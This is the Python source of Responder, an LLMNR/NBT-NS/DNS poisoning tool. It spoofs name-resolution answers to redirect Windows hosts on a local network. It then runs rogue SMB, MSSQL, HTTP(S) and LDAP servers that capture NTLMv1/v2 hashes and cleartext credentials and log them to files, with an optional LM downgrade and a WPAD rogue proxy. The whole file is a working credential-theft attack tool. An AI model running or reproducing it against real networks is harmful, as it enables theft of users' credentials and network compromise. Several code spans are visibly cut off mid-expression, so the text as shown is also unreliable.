#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2013 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b 1 -s On -r 0', prog=sys.argv[0], ) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-b', '--basic',action="store", help="Set this to On if you want to return a Basic HTTP authentication. Off will return an NTLM authentication.This option is mandatory.", metavar="Off",dest="Basic", choices=['On','ON','Off','OFF'], default="Off") parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','ON','Off','OFF'], default="Off") parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','ON','Off','OFF'], default="Off") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="Off", choices=['On','ON','Off','OFF'], default="Off") parser.add_option('--lm',action="store", help="Set this to Off if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','ON','Off','OFF'], default="Off") options, args = parser.parse_args() if options.OURIP is None: print "-i mandatory option is missing\n" parser.print_help() exit(-1) #Config parsing config = ConfigParser.ConfigParser() config.read('Responder.conf') # Set some vars. BIND_TO_IP = config.get('Responder Core', 'Bind_to') On_Off = config.get('Responder Core', 'HTTP').upper() SSL_On_Off = config.get('Responder Core', 'HTTPS').upper() SMB_On_Off = config.get('Responder Core', 'SMB').upper() SQL_On_Off = config.get('Responder Core', 'SQL').upper() FTP_On_Off = config.get('Responder Core', 'FTP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper() NumChal = config.get('Responder Core', 'Challenge') SessionLog = config.get('Responder Core', 'SessionLog') Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() FILENAME = config.get('HTTP Server', 'Filename') WPAD_Script = config.get('HTTP Server', 'WPADScript') RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo.split(",") #Cli options. OURIP = options.OURIP LM_On_Off = options.LM_On_Off.upper() WPAD_On_Off = options.WPAD_On_Off.upper() Wredirect = options.Wredirect.upper() Basic = options.Basic.upper() Finger_On_Off = options.Finger.upper() if BIND_TO_IP == None: BIND_TO_IP = '' if len(NumChal) is not 16: print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" parser.print_help() exit(-1) #Logger import logging logging.basicConfig(filename=str(SessionLog),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') logging.warning('Responder Started') def Show_Help(ExtraHelpData): help = "NBT Name Service/LLMNR Answerer 1.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help+= ExtraHelpData print help #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: outf.write(data) outf.write("\n") outf.close() if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return None else: with open(outfile,"a") as outf2: outf2.write(data) outf2.write("\n") outf2.close() # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nChallenge set is: %s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) #Simple NBNS Services. W_REDIRECT = "\x41\x41\x00" FILE_SERVER = "\x43\x41\x00" #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == "ON": return True if Finger_On_Off == "OFF": return False def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: return True else: return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: return True else: return False ################################################################################## #NBT NS Stuff ################################################################################## #NBT-NS answer packet. class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if FILE_SERVER == data[43:46]: return True if Wredirect == "ON": if W_REDIRECT == data[43:46]: return True else: return False # NBT_NS Server class. class NB(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) def handle(self): request, socket = self.request data = request if RespondToSpecificHost(RespondTo): if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) print "NBT-NS Answer sent to: ", self.client_address[0] logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0])) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) print "NBT-NS Answer sent to: ", self.client_address[0] logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0])) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass ################################################################################## #Browser Listener ################################################################################## def FindPDC(data,Client): DataOffset = struct.unpack(' 220: SSPIStart = data[79:] LMhashLen = struct.unpack(' 220: SSPIStart = data[79:] LMhashLen = struct.unpack(' 60: print "[+]SMB-NTLMv2 hash captured from : ",client outfile = "SMB-NTLMv2-Client-"+client+".txt" NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) print "[+]SMB-NTLMv2 hash captured from :",client outfile = "SMB-NTLMv2-Client-"+client+".txt" pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() WriteData(outfile,Writehash, Username+"::"+Domain) print "[+]SMB-NTLMv2 complete hash is :",Writehash logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) print "Username : ",Username logging.warning('[+]SMB-NTLMv2 Username:%s'%(Username)) print "Domain (if joined, if not then computer name) : ",Domain logging.warning('[+]SMB-NTLMv2 Domain (if joined, if not then computer name) :%s'%(Domain)) if NthashLen == 24: print "[+]SMB-NTLMv1 hash captured from : ",client logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) outfile = "SMB-NTLMv1-Client-"+client+".txt" pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal WriteData(outfile,writehash, Username+"::"+Domain) print "[+]SMB complete hash is :", writehash logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) print "Username : ",Username logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) print "Domain (if joined, if not then computer name) : ",Domain logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: quote = "Share requested: "+a.group(0) print quote.replace('\x00','') logging.warning(quote.replace('\x00','')) except Exception: raise def IsNT4ClearTxt(data): HeadLen = 36 Flag2 = data[14:16] if Flag2 == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP class SMB1(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) self.socket.setdefaulttimeout(2) def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": # Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data) head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data)) final = SMBSessEmpty()###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseSMBHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = SMBSession2Accept() final.calculate() packet2 = str(head)+str(final) buffer2 = longueur(packet2)+packet2 self.request.send(buffer2) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) t = SMBTreeData() t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x02\xff\x00\x27\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. #SMB Server class, old version. class SMB1LM(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) self.socket.setdefaulttimeout(0.5) def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. self.request.close() ################################################################################## #SQL Stuff ################################################################################## from SQLPackets import * #This function parse SQL NTLMv1/v2 hash and dump it into a specific file. def ParseSQLHash(data,client): SSPIStart = data[8:] LMhashLen = struct.unpack(' 60: print "[+]MSSQL NTLMv2 Hash captured from :",client logging.warning('[+]MsSQL NTLMv2 hash captured from :%s'%(client)) DomainLen = struct.unpack('h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data,addr): NameLen = struct.unpack('>B',data[12])[0] Name = data[13:13+NameLen] print "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) logging.warning('LLMNR poisoned answer sent to this IP: %s. The requested name was : %s.'%(addr[0],Name)) return Name def Parse_IPV6_Addr(data): Len = len(data) if data[Len-4:Len][1] =="\x1c": return False else: return True def RunLLMNR(): ALL = BIND_TO_IP MADDR = "224.0.0.252" MPORT = 5355 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) sock.bind((ALL,MPORT)) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) ## Join IGMP Group. Join = sock.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR) + inet_aton(ALL)) while True: try: data, addr = sock.recvfrom(1024) if RespondToSpecificHost(RespondTo): if RespondToIPScope(RespondTo, addr[0]): if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data,addr) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): sock.sendto(str(buff), addr) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((addr[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) pass else: pass else: if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data,addr) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): sock.sendto(str(buff), addr) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((addr[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) pass except: raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. return True else: return False #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # DNS Server class. class DNS(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) def handle(self): req, soc = self.request data = req if ParseDNSType(data): buff = DNSAns() buff.calculate(data) soc.sendto(str(buff), self.client_address) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) def handle(self): try: data = self.request.recv(1024) if ParseDNSType(data): buff = DNSAns() buff.calculate(data) self.request.send(buff) except Exception: pass ################################################################################## #HTTP Stuff ################################################################################## from HTTPPackets import * from HTTPProxy import * #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: print "[+]HTTP NTLMv2 hash captured from :",client logging.warning('[+]HTTP NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 24: print "[+]HTTPS NTLMv2 hash captured from :",client logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 10: LMhashOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('